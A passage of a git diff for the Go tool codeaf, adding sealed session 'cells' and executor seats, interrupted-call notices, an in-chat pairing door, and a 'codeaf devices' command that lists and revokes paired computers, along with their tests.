:= filepath.Join(parent, "workspace"), filepath.Join(parent, "sibling") + for _, dir := range []string{workspace, sibling} { + if err := os.Mkdir(dir, 0o700); err != nil { + t.Fatal(err) + } + } + place, err := v3MintSession(t.TempDir(), workspace, workspace, false) + if err != nil { + t.Fatal(err) + } + var sealError error + seat, _, _ := v3SeatOf(place, func(line string) { t.Log(line) }) + if seat == nil { + t.Fatal("new chat has no seat") + } + path := filepath.Join(sibling, "x") + var result executor.ExecResult + err = seat.Around(context.Background(), executor.Call{Tool: "bash"}, func() ([]byte, bool) { + result, sealError = seat.In(workspace).Exec(context.Background(), executor.ExecRequest{Argv: []string{"touch", path}}, nil) + return result.Stdout, sealError != nil || result.Exit != 0 + }) + if err != nil || sealError != nil || result.Exit != 0 { + t.Fatalf("sibling write = %+v, %v, %v", result, sealError, err) + } + if _, err := os.Stat(path); err != nil { + t.Fatalf("sibling file was not written: %v", err) + } + if err := executor.Drain(context.Background(), seat); err != nil { + t.Fatalf("sibling write was not sealed: %v", err) + } +} diff --git a/cmd/codeaf/chatv3_guard_class_test.go b/cmd/codeaf/chatv3_guard_class_test.go index 4f4196e576..64970d47df 100644 --- a/cmd/codeaf/chatv3_guard_class_test.go +++ b/cmd/codeaf/chatv3_guard_class_test.go @@ -19,6 +19,7 @@ import ( // cancels and joins through Models.Close. chatv3/sweep-home is joined too, by // stopPlaceSweep since #1276. No row is known-open now; a new one that is must // name the later cell that owns it, and deleting it is part of landing that cell. +// C25 removes the budget worker entirely: opening a chat starts no collection. func TestV3ProcessGuardGoClass(t *testing.T) { type class struct { kind, stop, join, owner string diff --git a/cmd/codeaf/chatv3_interrupted_test.go b/cmd/codeaf/chatv3_interrupted_test.go new file mode 100644 index 0000000000..3e180af4f0 --- /dev/null +++ b/cmd/codeaf/chatv3_interrupted_test.go @@ -0,0 +1,27 @@ +package main + +import ( + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/session" +) + +type cutLines []string + +func (c cutLines) Lines() []string { return c } +func (cutLines) Note() string { return "" } +func (cutLines) Close() error { return nil } + +func TestV3InterruptedPutsOneLinePerCallUnderTheNotice(t *testing.T) { + cfg := session.Config{Interrupted: cutLines{"bash: a — cut", "bash: b — cut"}} + if got, want := v3Interrupted(cfg, "moved"), "moved\nbash: a — cut\nbash: b — cut"; got != want { + t.Fatalf("got %q, want %q", got, want) + } + if got := v3Interrupted(cfg, ""); strings.HasPrefix(got, "\n") || strings.Count(got, "\n") != 1 { + t.Fatalf("with no notice got %q", got) + } + if got := v3Interrupted(session.Config{}, "moved"); got != "moved" { + t.Fatalf("with nothing cut off got %q", got) + } +} diff --git a/cmd/codeaf/chatv3_layout.go b/cmd/codeaf/chatv3_layout.go index 9a67d44dbb..b3201790f2 100644 --- a/cmd/codeaf/chatv3_layout.go +++ b/cmd/codeaf/chatv3_layout.go @@ -31,11 +31,17 @@ import ( "sync" "time" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellindex" + "github.com/Agent-Field/codeaf/internal/cellstore" "github.com/Agent-Field/codeaf/internal/config" + "github.com/Agent-Field/codeaf/internal/executor" "github.com/Agent-Field/codeaf/internal/gitidentity" "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/preflight" "github.com/Agent-Field/codeaf/internal/session" "github.com/Agent-Field/codeaf/internal/teams" + "github.com/Agent-Field/codeaf/internal/tui3" ) // v3Dir is ~/.codeaf/v3: the directory this surface keeps its own files in — @@ -348,8 +354,8 @@ func v3NamedSession(explicit, workspace string, owned bool) (v3Session, error) { return v3Session{}, fmt.Errorf("create session directory: %w", err) } _, statErr := os.Stat(path) - found := v3Session{Transcript: path, Resumed: statErr == nil, Bucket: filepath.Dir(filepath.Dir(path))} - if filepath.Base(path) != v3TranscriptName { + found := v3Session{Transcript: path, Resumed: statErr == nil, Bucket: session.BucketOf(path)} + if _, isFolder := session.FolderOf(path); !isFolder { bucket, err := v3ProjectDir(workspace) if err != nil { return v3Session{}, err @@ -362,8 +368,9 @@ func v3NamedSession(explicit, workspace string, owned bool) (v3Session, error) { // owned, whatever the terminal it is being opened from looks like. A folder // with no meta.json yet takes the launch's posture. found.Place = v3PlaceOf(path, workspace) - if meta, _ := session.LoadMeta(filepath.Dir(path)); strings.TrimSpace(meta.ID) == "" && owned { - found.Place = v3PlaceFor(filepath.Dir(path), workspace, true) + dir := found.Place.Dir + if meta, _ := session.LoadMeta(dir); strings.TrimSpace(meta.ID) == "" && owned { + found.Place = v3PlaceFor(dir, workspace, true) } return found, nil } @@ -376,16 +383,12 @@ func v3NamedSession(explicit, workspace string, owned bool) (v3Session, error) { // that is a fact about the conversation and not about the window opening it. func v3PlaceOf(transcript, workspace string) session.Place { transcript = strings.TrimSpace(transcript) - if transcript == "" || filepath.Base(transcript) != v3TranscriptName { + dir, ok := session.FolderOf(transcript) + if transcript == "" || !ok { return session.Place{} } - dir := filepath.Dir(transcript) - meta, _ := session.LoadMeta(dir) - root := strings.TrimSpace(meta.Workspace) - if root == "" { - root = workspace - } - return v3PlaceFor(dir, root, meta.Owned) + meta, _ := session.LoadMetaIn(dir, workspace) + return v3PlaceFor(dir, strings.TrimSpace(meta.Workspace), meta.Owned) } // v3PointAt aims one launch's config at a session folder: the journal inside @@ -436,12 +439,6 @@ func v3Reopen(cfg session.Config, transcript, workspace string) (session.Config, return v3PointAt(cfg, place) } -// v3TranscriptName is the journal's name inside a session folder. It is -// [session.Place.Transcript]'s last element, repeated here because this side -// has to RECOGNIZE one — a path a person typed — where the other side only ever -// builds them. -const v3TranscriptName = "transcript.jsonl" - // v3PlaceFor builds the Place for one session folder. The workspace follows // from the posture and never from a caller's opinion: an owned session's tools // root is its own work/, and a borrowed one's is the project it borrowed. @@ -460,10 +457,15 @@ func v3PlaceFor(dir, workspace string, owned bool) session.Place { // in another window sees the conversation from the moment it exists rather than // from the moment somebody speaks in it. func v3MintSession(bucket, workspace, launchDir string, owned bool) (session.Place, error) { - id := session.NewSessionID() - dir := filepath.Join(bucket, id) - if err := os.MkdirAll(dir, 0o700); err != nil { - return session.Place{}, fmt.Errorf("create session directory: %w", err) + return v3MintSessionAs(cell.HostBound, bucket, workspace, launchDir, owned) +} + +// v3MintSessionAs is [v3MintSession] for a session whose cell declares class: +// chats and runs keep the host access their commands have always had (C23). +func v3MintSessionAs(class cell.Class, bucket, workspace, launchDir string, owned bool) (session.Place, error) { + id, dir, err := v3NewFolder(bucket, class) + if err != nil { + return session.Place{}, err } place := v3PlaceFor(dir, workspace, owned) // The write is not checked for the reason place.go gives: meta.json is a @@ -479,6 +481,25 @@ func v3MintSession(bucket, workspace, launchDir string, owned bool) (session.Pla return place, nil } +// v3NewFolder makes the empty folder a new session lives in and answers its id +// and path: a cell when a compatible engine is available and a capable platform and engine (the session package finds its +// transcript in .cell/ by the folder's shape), a plain folder otherwise. +func v3NewFolder(bucket string, class cell.Class) (id, dir string, err error) { + if cell.Available() { + c, err := cell.CreateIn(bucket, cell.Options{Class: class}) + if err != nil { + return "", "", fmt.Errorf("create session directory: %w", err) + } + return c.ID, c.Root, nil + } + id = session.NewSessionID() + dir = filepath.Join(bucket, id) + if err := os.MkdirAll(dir, 0o700); err != nil { + return "", "", fmt.Errorf("create session directory: %w", err) + } + return id, dir, nil +} + // v3NextSession mints a sibling of the session a launch is already on: the same // bucket, the same borrowed-or-owned posture, a new id. It is what /new and a // contended resume both need — a second conversation about the same project — @@ -682,7 +703,9 @@ func v3EmptyUnassignedSession(dir string) bool { if spoken || !sure || session.HasSavedTasks(dir) { return false } - for _, kept := range []string{place.Work(), place.Trees(), place.Artifacts()} { + // A sealed chain is something made in it: a run that worked in the cell said + // nothing, and its turns are the record of what it did. + for _, kept := range []string{place.Work(), place.Trees(), place.Artifacts(), filepath.Join(dir, cellstore.TurnsPath)} { if _, err := os.Stat(kept); err == nil { return false } @@ -713,3 +736,149 @@ func v3ReapEmpty(empty []v3Folder, keep string) { return nil }) } + +// v3Migrated readies an existing cell without changing a legacy chat's layout. +// C24 keeps older chats readable by every build that shares this home. +func v3Migrated(cfg session.Config) session.Config { + if !cell.Available() || cfg.Place.Dir == "" { + return cfg + } + if _, err := cell.OpenAt(cfg.Place.Dir, filepath.Base(cfg.Place.Dir)); err != nil { + return cfg + } + session.AdoptArtifacts(cfg.Place, artifactsIndexPath()) + budgetOnOpen(cfg.Place.Dir) + if cfg.Memory != nil { + _ = session.SealMemories(cfg.Place.Dir, cfg.Memory) + } + _, _ = cellindex.RebuildAt(cfg.Place.Dir, cfg.Place.Workspace) + cfg.SessionFile = cfg.Place.Transcript() + return cfg +} + +// v3Seated gives the session the executor it owns, built once here from the +// class the cell declared and the workspace its tools run in. +// +// A folder that is not a readable cell gets no seat and its calls run on the +// host as they always did, and so does every folder without a compatible engine. The +// seat is set on every call, so a config reused for the next conversation never +// carries the last one's executor. +func v3Seated(cfg session.Config) session.Config { + cfg.Seat, cfg.Machine, cfg.Seals, cfg.Interrupted = nil, nil, nil, nil + seat, machine, seals := v3SeatWith(cfg.Place, nil, syncDrives) + cfg.Seat, cfg.Interrupted = seat, executor.InterruptedOn(seat) + if machine != nil { + cfg.Machine = machine + } + if seals != nil { + cfg.Seals = seals + } + return cfg +} + +// v3SeatOf is the seat of the cell a place names, the machine view it was +// built with, and the watch of its seals — one per seat, so one per cell. A +// nil say queues the watch's sentences for the surface showing the session; +// a door with no surface passes where they go: the one construction every door that seals its calls goes +// through. A place that is not a readable cell answers no seat. +func v3SeatOf(place session.Place, say func(string)) (executor.Seat, *preflight.Machine, *cellstore.SealWatch) { + return v3SeatWith(place, say, nil) +} + +// v3SeatWith is v3SeatOf for a door that syncs: with a drive side for the cell +// every seal is also noted for the relay, and once another machine has taken +// the chat its tool calls are refused. A nil book, or sync off, is the seat +// exactly as it was. +func v3SeatWith(place session.Place, say func(string), drives *driveBook) (executor.Seat, *preflight.Machine, *cellstore.SealWatch) { + if !cell.Available() || place.Dir == "" || place.Workspace == "" { + return nil, nil, nil + } + c, err := cell.OpenAt(place.Dir, filepath.Base(place.Dir)) + if err != nil { + return nil, nil, nil + } + class, ok := executor.ParseClass(string(c.Meta().Class)) + if !ok { + class = executor.HostBound + } + machine, err := preflight.OpenMachine(c.Root, place.Workspace) + watch := &cellstore.SealWatch{Say: say} + failed(watch, err) + drive := drives.driveOf(c, cellstore.EngineFor(place.Workspace), watch.Report) + if drive != nil { + watch.OnTurnEnd = drive.Idle // the agent waits for the person: upload what is sealed now + } + seat, err := cellstore.SeatOver(class, c, place.Workspace, observerOf(machine), watch.Report, driveStore(drive), cellstore.WithNotices(watch.Note), cellstore.WithPipeline(), cellstore.WithWarmCapture()) + failed(watch, err) + watch.OnTail = func() { sealTail(seat, drive) } + return executor.Gated(seat, driveGate(drive)), machine, watch +} + +// sealTail seals what the chat wrote after the turn-end seal (titles, summaries, +// memories) and sends it. It is the turn's own ending again, so the record has +// one way to become durable; the sync side's single flight folds it into the +// upload already running. The watch calls it from its own timer, once. +func sealTail(seat executor.Seat, drive *liveDrive) { + executor.Settle(context.Background(), seat) + if drive != nil { + drive.Idle() + } +} + +// observerOf is the machine's observer, and no observer where the inventory +// could not be opened: a call is never failed for want of a record. +func observerOf(m *preflight.Machine) executor.Observer { + if m == nil { + return nil + } + return m.Observer() +} + +// sealSeamOf is what a session's seals tell the chat surface: nothing for a +// session with no seat of its own. +// +// WHETHER THE LAST SEAL FAILED IS ASKED OF THE AGENT, not of the watch: the +// ordinary launch shows an agent running in a separate engine process, where +// the watch is not in this one and the engine states the fact over the wire +// ([session.Facts.Unsealed]). The agent's own predicate is the one source both +// readings come from. The sentences are drained from the local watch only; an +// engine tells its own on the turn's stream. +func sealSeamOf(agent any, seals session.SealState) tui3.SealSeam { + var seam tui3.SealSeam + if seals != nil { + seam = tui3.SealSeam{Failing: seals.Failing, Notice: seals.Take} + } + if door, ok := agent.(interface{ SealFailing() bool }); ok { + seam.Failing = door.SealFailing + } + return seam +} + +// stderrSay is where a run with no surface says its sentences. +func stderrSay(sentence string) { fmt.Fprintln(os.Stderr, "codeaf: "+sentence) } + +// failed tells the watch about a seat that could not be built, and is silent +// about one that could: a nil error there is no seal having held. +func failed(watch *cellstore.SealWatch, err error) { + if err != nil { + watch.Report(err) + } +} + +// hostSeated is the root of a command that runs work outside any conversation +// (do, exec, run, a carried program): its tool calls run on the host seat, and +// say so here once instead of at every site. +func hostSeated(ctx context.Context) context.Context { + return executor.With(ctx, executor.Host) +} + +// v3Interrupted is the entry notice with what a person reads about a last run +// that was cut off mid-call added under it: one line for each call, and nothing +// added when none was. +func v3Interrupted(cfg session.Config, notice string) string { + if cfg.Interrupted == nil { + return notice + } + lines := append([]string{notice}, cfg.Interrupted.Lines()...) + return strings.TrimSpace(strings.Join(lines, "\n")) +} diff --git a/cmd/codeaf/chatv3_pair.go b/cmd/codeaf/chatv3_pair.go new file mode 100644 index 0000000000..45ffd65405 --- /dev/null +++ b/cmd/codeaf/chatv3_pair.go @@ -0,0 +1,85 @@ +package main + +// The chat's door onto pairing: what `/pair` and `/pair ` reach through +// tui3.Pairing. It pairs THIS computer, the one at the keyboard, on every door +// the chat opens through, because that is the computer a person means by "share +// my chats" whether the conversation on screen runs here or over --at or --host. +// The relay, the identity and the joining side's home come from the same three +// helpers `codeaf pair` uses, so the two doors cannot disagree about where a +// code goes. + +import ( + "context" + "errors" + + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/tui3" +) + +// chatPairDoor is the surface's tui3.Pairing. +type chatPairDoor struct{} + +var _ tui3.Pairing = chatPairDoor{} + +// Offer shows a code and shares this computer's chats with the device that types +// it. Every error it returns is already the sentence a person reads. +func (chatPairDoor) Offer(ctx context.Context, ui pair.OfferUI) (string, error) { + route, err := pairMailbox("") + if err != nil { + return "", err + } + grant, err := pairGrant(route) + if err != nil { + return "", err + } + return pair.Offer(ctx, route, grant, ui) +} + +// Join types another computer's code and takes its chats. A computer with +// chats of its own refuses, and the refusal names the in-chat way out: the +// same code typed again with --replace, which asks before it replaces +// (pair.JoinReplacing below). The terminal's own --replace wording names its +// own flag, so the door says the chat's here rather than retyping internal/pair's. +func (chatPairDoor) Join(ctx context.Context, typed string, ui pair.JoinUI) (pair.Joined, error) { + route, err := pairMailbox("") + if err != nil { + return pair.Joined{}, err + } + joined, err := pair.Join(ctx, route, pairJoining(false), typed, ui) + return joined, chatJoinRefusal(err) +} + +// chatJoinRefusal says the plain refusal the chat's way: the terminal's own +// sentence names its --replace flag, and here the way out is the same code +// typed in the chat the person is already sitting in. +func chatJoinRefusal(err error) error { + if errors.Is(err, pair.ErrDifferentChats) { + return errChatReplaceRefusal + } + return err +} + +// JoinReplacing is Join with this computer's own chats given up — the +// terminal's --replace, typed in chat. It runs only behind the surface's +// confirmation (internal/tui3/pair.go's joinWork), so a person has said an +// explicit yes before anything is touched. +func (chatPairDoor) JoinReplacing(ctx context.Context, typed string, ui pair.JoinUI) (pair.Joined, error) { + route, err := pairMailbox("") + if err != nil { + return pair.Joined{}, err + } + return pair.Join(ctx, route, pairJoining(true), typed, ui) +} + +// HasOwnChats reports whether this home holds an identity of its own — the +// fact a plain Join refuses on, and the reason a replace asks first. +func (chatPairDoor) HasOwnChats() bool { + _, err := identity.Load(home.Dir()) + return err == nil +} + +// errChatReplaceRefusal is the plain refusal, said the chat's way: the way out +// is a keystroke in the chat the person is already sitting in. +var errChatReplaceRefusal = errors.New("this computer already has chats of its own, so they stay local and nothing was changed; to take the other computer's chats instead, type /pair --replace and confirm") diff --git a/cmd/codeaf/chatv3_pair_test.go b/cmd/codeaf/chatv3_pair_test.go new file mode 100644 index 0000000000..fa1453eebe --- /dev/null +++ b/cmd/codeaf/chatv3_pair_test.go @@ -0,0 +1,41 @@ +package main + +// The chat's pairing door (chatv3_pair.go). The plain refusal is said the +// chat's way: the terminal sentence names its --replace flag, and here the +// same fact points at the /pair keystroke the person is already sitting at. + +import ( + "context" + "errors" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/pair" +) + +func TestChatJoinRefusalNamesTheInChatReplace(t *testing.T) { + err := chatJoinRefusal(pair.ErrDifferentChats) + for _, want := range []string{"/pair --replace", "already has chats of its own"} { + if !strings.Contains(err.Error(), want) { + t.Fatalf("the refusal lacks %q: %s", want, err) + } + } + // Any other failure is carried as it is. + other := errors.New("the relay is down") + if chatJoinRefusal(other) != other { + t.Fatal("an unrelated error was rewritten") + } + if chatJoinRefusal(nil) != nil { + t.Fatal("a nil error was rewritten") + } +} + +// The replacing errand reaches pair.Join with replace set: the interface keeps +// the two doors from disagreeing about what a replace is. +func TestChatPairDoorImplementsBothJoins(t *testing.T) { + var _ interface { + Join(ctx context.Context, typed string, ui pair.JoinUI) (pair.Joined, error) + JoinReplacing(ctx context.Context, typed string, ui pair.JoinUI) (pair.Joined, error) + HasOwnChats() bool + } = chatPairDoor{} +} diff --git a/cmd/codeaf/chatv3_process.go b/cmd/codeaf/chatv3_process.go index 7665bcc803..6de6085d64 100644 --- a/cmd/codeaf/chatv3_process.go +++ b/cmd/codeaf/chatv3_process.go @@ -663,14 +663,18 @@ func (p *v3Process) closeAll() { // conversations still get closed. guard.Go("chatv3/close-agent", func() { defer waiting.Done() - // The error is dropped for the reason the door's defer always - // dropped it: nothing is left to say it to, and a session file that - // would not flush is not a reason to hold the terminal. - _ = agent.Close() + // A pending save has a bounded wait. Its failure must remain visible + // after the terminal is restored, rather than disappearing with the surface. + closeV3Agent(agent) }) } waiting.Wait() + // THE DRIVE SIDE OF EACH CHAT ENDS AFTER ITS CONVERSATION DID, so the last + // seal is already noted when the final publish runs, and every lease is + // given back on this one road out. + syncDrives.closeAll() + // The ledger's background writer is drained AFTER the agents have closed, // because closing an agent can seal a last turn and a seal records a line. // It is the same bargain the recall store's Close makes one line below: a @@ -871,7 +875,7 @@ func (s *v3Seam) open(launch *v3Launch, cfg session.Config, resumed bool) (tui3. } conv, err := s.bundle(agent, launch, cfg, resumed, notice) if err != nil { - _ = agent.Close() + closeV3Agent(agent) return tui3.Conversation{}, err } return conv, nil @@ -943,7 +947,8 @@ func (s *v3Seam) bundle(agent v3Live, launch *v3Launch, cfg session.Config, Owned: cfg.Place.Owned, AnchorWorkspace: anchor, Resumed: resumed, - Notice: notice, + Seal: sealSeamOf(agent, cfg.Seals), + Notice: v3Interrupted(cfg, notice), ContextWindow: cfg.ContextWindow, DraftFile: draft, History: recall, @@ -1073,3 +1078,11 @@ func v3RehomeLegacyMemories(brain *store.Store) { } } } + +// closeV3Agent preserves a saving failure after the full-screen surface has +// closed. A bounded drain must never silently acknowledge a pending save (D3). +func closeV3Agent(agent interface{ Close() error }) { + if err := agent.Close(); err != nil { + fmt.Fprintln(os.Stderr, "codeaf: "+err.Error()) + } +} diff --git a/cmd/codeaf/chatv3_session_test.go b/cmd/codeaf/chatv3_session_test.go index 6d33e3f7bc..692265a4fd 100644 --- a/cmd/codeaf/chatv3_session_test.go +++ b/cmd/codeaf/chatv3_session_test.go @@ -2,6 +2,7 @@ package main import ( "errors" + "github.com/Agent-Field/codeaf/internal/cell" "path/filepath" "strings" "testing" @@ -87,9 +88,14 @@ func TestASecondWindowOnALockedSessionIsRefusedAndNamesTheWayOut(t *testing.T) { } } -// sessionBucket is the project directory above one session folder. +// sessionBucket is the project directory above one session folder. A cell keeps +// its journal one level deeper, in .cell/, so the folder is found past that. func sessionBucket(transcript string) string { - return filepath.Dir(filepath.Dir(transcript)) + folder := filepath.Dir(transcript) + if filepath.Base(folder) == cell.StateDir { + folder = filepath.Dir(folder) + } + return filepath.Dir(folder) } // An error that is NOT the lock is still an error: the fallback is for one diff --git a/cmd/codeaf/chatv3_surface.go b/cmd/codeaf/chatv3_surface.go index f66c3b645e..8d8fa6ff01 100644 --- a/cmd/codeaf/chatv3_surface.go +++ b/cmd/codeaf/chatv3_surface.go @@ -6,8 +6,10 @@ import ( "os" "github.com/Agent-Field/codeaf/internal/buildinfo" + "github.com/Agent-Field/codeaf/internal/cell" "github.com/Agent-Field/codeaf/internal/config" internalenv "github.com/Agent-Field/codeaf/internal/env" + "github.com/Agent-Field/codeaf/internal/home" "github.com/Agent-Field/codeaf/internal/tui3" codeupdate "github.com/Agent-Field/codeaf/internal/update" ) @@ -56,6 +58,12 @@ func runSurface(ctx context.Context, options tui3.Options) error { restart = &codeupdate.Plan{} options.Restart = restart } + options.CellsUnavailable = cell.UnavailableReason() + if options.CellsUnavailable == "" { + wireSync(&options) + options.Pairing = chatPairDoor{} + options.Approvals = newApprovalsDoor(home.Dir()) + } options.UpdateRunning = revision options.UpdateCurl = curl options.UpdateArgs = surfaceArguments() diff --git a/cmd/codeaf/devices.go b/cmd/codeaf/devices.go new file mode 100644 index 0000000000..682e94662d --- /dev/null +++ b/cmd/codeaf/devices.go @@ -0,0 +1,419 @@ +package main + +// ── the door: codeaf devices ──────────────────────────────────────────────── +// +// TWO KINDS OF DEVICE, ONE DOOR. A computer can hold the person's chats (it was +// paired with `codeaf pair`) and a device can be let in to use this machine (it +// was paired with `codeaf serve`). They are different powers with different +// undo, so they are listed under two headings, but a person who wants one gone +// types one verb, `codeaf devices revoke `, and never asks which kind it +// was. Each kind is a [deviceKind]; the door only knows the interface, so a +// third kind is one more type and not one more branch. +// +// THE EMPTINESS LAW: a kind with nothing in it has no heading, and a machine +// with nothing of either kind says one sentence ([pair.NoDevices]). + +import ( + "cmp" + "context" + "errors" + "fmt" + "os" + "slices" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/chatlist" + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/pair" + "github.com/Agent-Field/codeaf/internal/syncsetup" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// deviceKind is one kind of device the door lists and stops. +type deviceKind interface { + // table is the kind's heading and rows, or "" when it has none. + table(now time.Time) (string, error) + // find counts the devices of this kind that answer to name. + find(name string) (int, error) + // stop stops the one device of this kind that answers to name and returns + // the sentence that says so. + stop(name string) (string, error) +} + +// allStopper is a kind that can stop every device answering to one name. Only +// the remote-access kind can: two laptops with one host name are common there, +// and each is a key the person can tell apart no other way. +type allStopper interface { + stopAll(name string) (string, error) +} + +// runDevices lists the devices of both kinds, or stops one. +// +// BOTH THE LIST AND THE STOPPING ANSWER ABOUT THE MACHINE THEY ARE TYPED ON. +// A remote device cannot list itself out of somebody's machine and cannot stop +// another device; a computer that holds the chats may stop another of the same +// person's, because the person owns both. +func runDevices(args []string) error { + kinds := openDeviceKinds() + switch { + case len(args) > 0 && args[0] == "revoke": + return stopDevice(kinds, args[1:]) + case len(args) > 0 && args[0] == "rename": + return runDevicesRename(args[1:]) + case askedForHelp(args): + return commandHelp("devices") + case len(args) > 0: + return fmt.Errorf("usage: codeaf devices [revoke [--all] | rename ]") + } + if !cell.Available() { + device, err := pair.ThisDevice(pair.OpenKeeper()) + if err != nil { + return err + } + paired, err := pair.DeviceBook().Devices() + if err != nil { + return err + } + fmt.Print(pair.DevicesList(device.Name(), paired, pair.OpenKeeper(), time.Now())) + known, err := pair.Machines() + if err != nil { + return err + } + fmt.Print(pair.MachinesList(known, time.Now())) + return nil + } + return listDevices(kinds, time.Now()) +} + +// revokeDevice stops one remote-access device, or every one answering to one +// name. It is the door's verb over the book alone, kept for callers that hold +// only a book. +func revokeDevice(book *pair.Book, args []string) error { + return stopDevice([]deviceKind{bookKind{book}}, args) +} + +// openDeviceKinds is the kinds this machine has: the computers that hold the +// chats only when sync is on and there is an identity, and always the devices +// let in to use this machine. +func openDeviceKinds() []deviceKind { + kinds := []deviceKind{} + if chats, ok := openChatsKind(); ok { + kinds = append(kinds, chats) + } + return append(kinds, bookKind{pair.DeviceBook()}) +} + +// listDevices prints every kind's table, or the one sentence when none has rows. +func listDevices(kinds []deviceKind, now time.Time) error { + var tables []string + for _, kind := range kinds { + table, err := kind.table(now) + if err != nil { + return err + } + if table != "" { + tables = append(tables, table) + } + } + if len(tables) == 0 { + fmt.Println(pair.NoDevices) + return nil + } + fmt.Print(strings.Join(tables, "\n")) + return nil +} + +// stopDevice reads `revoke [--all]` and stops the device that answers to +// the name. +// +// --ALL IS A FLAG LIKE EVERY OTHER FLAG IN THIS BINARY. It used to be read by +// hand, and only when it was the FIRST word after `revoke`, so `codeaf devices +// revoke laptop --all` was refused — with a usage line that did not mention +// `--all` at all. A person taking back access to their own machine was told the +// wrong grammar for the gesture they had just typed correctly. Through +// [commandFlags] and [reorder] it is accepted in either position, printed by +// `codeaf devices revoke --help`, and named in the one usage table. +func stopDevice(kinds []deviceKind, args []string) error { + flags := commandFlags("devices revoke") + all := flags.Bool("all", false, "remove every device of that name that can use this machine, not just the one") + if err := parseCommandFlags(flags, reorder(flags, args)); err != nil { + return err + } + if flags.NArg() != 1 { + return errors.New("usage: codeaf devices revoke [--all] — `codeaf devices` lists the names") + } + name := flags.Arg(0) + said, err := stopByName(kinds, name, *all) + if err != nil { + return err + } + fmt.Println(said) + return nil +} + +// stopByName finds the one kind that has the name and stops it there. With +// --all the name is taken to mean the kind that can stop several at once. +func stopByName(kinds []deviceKind, name string, all bool) (string, error) { + if all { + return stopAllByName(kinds, name) + } + kind, err := kindOf(kinds, name) + if err != nil { + return "", err + } + return kind.stop(name) +} + +func stopAllByName(kinds []deviceKind, name string) (string, error) { + for _, kind := range kinds { + if many, ok := kind.(allStopper); ok { + return many.stopAll(name) + } + } + return "", unknownDevice(name) +} + +// kindOf is the one kind that has a device called name. A name in two kinds is +// as ambiguous as two in one, and is answered the same way: say so, and point at +// the list. +func kindOf(kinds []deviceKind, name string) (deviceKind, error) { + var hits []deviceKind + var failed error + for _, kind := range kinds { + n, err := kind.find(name) + failed = cmp.Or(failed, err) + if n > 0 { + hits = append(hits, kind) + } + } + switch { + case len(hits) == 1: + return hits[0], nil + case len(hits) > 1: + return nil, fmt.Errorf("more than one device is called %q, so the name cannot pick one — `codeaf devices` lists them", name) + case failed != nil: + return nil, failed + } + return nil, unknownDevice(name) +} + +func unknownDevice(name string) error { + return fmt.Errorf("no device is called %q — `codeaf devices` lists the ones there are", name) +} + +// ── devices that can use this machine ─────────────────────────────────────── + +// bookKind is the devices this machine has let in (`codeaf serve`), and the +// machines this device can reach, which are listed with them because a person +// asking "what am I paired with" means both directions. +type bookKind struct{ book *pair.Book } + +func (b bookKind) table(now time.Time) (string, error) { + paired, err := b.book.Devices() + if err != nil { + return "", err + } + known, err := pair.Machines() + if err != nil { + return "", err + } + letIn, err := b.letIn(paired, now) + return strings.TrimLeft(letIn+pair.MachinesList(known, now), "\n"), err +} + +// letIn is the table of devices let in, or "" when there are none. The machine's +// own name is only worth saying when there is a device it matters to. +func (bookKind) letIn(paired []pair.Paired, now time.Time) (string, error) { + if len(paired) == 0 { + return "", nil + } + device, err := pair.ThisDevice(pair.OpenKeeper()) + if err != nil { + return "", err + } + return pair.DevicesList(device.Name(), paired, pair.OpenKeeper(), now), nil +} + +func (b bookKind) find(name string) (int, error) { + paired, err := b.book.Devices() + return countCalled(paired, name, func(p pair.Paired) string { return p.Label }), err +} + +func (b bookKind) stop(name string) (string, error) { + gone, err := b.book.Revoke(name) + if err != nil { + return "", err + } + return pair.RevokedLine(gone.Label), nil +} + +// stopAll answers a single device in the plain form's own sentence, because one +// device stopped is one device stopped whichever flag was typed. +func (b bookKind) stopAll(name string) (string, error) { + count, err := b.book.RevokeAll(name) + switch { + case err != nil: + return "", err + case count == 1: + return pair.RevokedLine(name), nil + } + return fmt.Sprintf("%d devices called %s were removed — each needs a new pairing code to come back.", count, name), nil +} + +// countCalled counts the items whose label is name, ignoring case as the book does. +func countCalled[T any](items []T, name string, label func(T) string) int { + n := 0 + for _, item := range items { + if strings.EqualFold(label(item), name) { + n++ + } + } + return n +} + +// ── devices with your chats ───────────────────────────────────────────────── + +// chatsKind is the computers that hold the person's chats: the Device records of +// their identity in the relay's directory. Nothing is cached, so a listing and a +// stop each see the directory as it is now. +type chatsKind struct { + dir directory.Client + key []byte // opens the sealed names + self string // this computer's device id + relay string // named when the relay cannot be reached +} + +// openChatsKind is the kind for this machine, and false when it has none: sync +// off, or no identity yet. Both are the emptiness law, not an error, so the +// heading is simply absent. +func openChatsKind() (chatsKind, bool) { + if syncsetup.Quiet(home.Dir()) { + return chatsKind{}, false + } + s, ok, err := syncsetup.Open(home.Dir()) + if err != nil || !ok { + return chatsKind{}, false + } + return chatsKindOf(s.Dir, s.Identity.CellKey(), s.Device.ID(), s.Relay), true +} + +func chatsKindOf(dir directory.Client, cellKey []byte, self, relay string) chatsKind { + return chatsKind{dir: dir, key: directory.MetadataKey(cellKey), self: self, relay: relay} +} + +// chatsRow is one computer: what the table shows, and the id the directory knows +// it by. +type chatsRow struct { + pair.ChatsDevice + id string +} + +// listRequestWithin bounds one request to the relay so a silent one cannot hang +// the command. +const listRequestWithin = 20 * time.Second + +func (c chatsKind) rows() ([]chatsRow, error) { + ctx, cancel := context.WithTimeout(context.Background(), listRequestWithin) + defer cancel() + l, err := c.dir.List(ctx) + if err != nil { + return nil, c.explain(err) + } + open := func(sealed string) (string, error) { return directory.OpenName(c.key, sealed) } + rows := make([]chatsRow, 0, len(l.Devices)) + for id, d := range l.Devices { + rows = append(rows, chatsRow{ + ChatsDevice: pair.ChatsDevice{Name: chatlist.DeviceName(l.Devices, id, open), This: id == c.self, Stopped: d.Revoked}, + id: id, + }) + } + // This computer first, removed ones last, then by name: the order the chat's list uses. + slices.SortFunc(rows, func(a, b chatsRow) int { + return 